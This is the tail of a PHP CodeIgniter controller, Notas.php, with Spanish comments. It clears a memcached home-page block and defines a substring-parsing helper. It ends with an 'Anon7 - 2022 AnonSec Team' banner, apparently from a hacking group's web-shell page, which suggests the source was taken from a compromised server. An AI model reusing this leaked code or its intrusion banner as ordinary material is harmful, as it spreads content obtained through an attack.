        /* Me fijo si esta cacheado del bloque home por general */
        $nota_bloque_home_general_en_cache = $this->memcached_library->get('bloque_automatico_home_0');
        if ($nota_bloque_home_general_en_cache)
            $this->memcached_library->delete('bloque_automatico_home_0');
        /*         * ********Fin Cache************** */
    }

    function get_string_between($string, $start, $end) {
        // Función para desarmar los tags

        $string = ' ' . $string;
        $ini = strpos($string, $start);
        if ($ini == 0)
            return '';
        $ini += strlen($start);
        $len = strpos($string, $end, $ini) - $ini;
        return substr($string, $ini, $len);
    }

}

/* End of file Notas.php */
/* Location: ./system/application/controllers/Notas.php */

Anon7 - 2022
AnonSec Team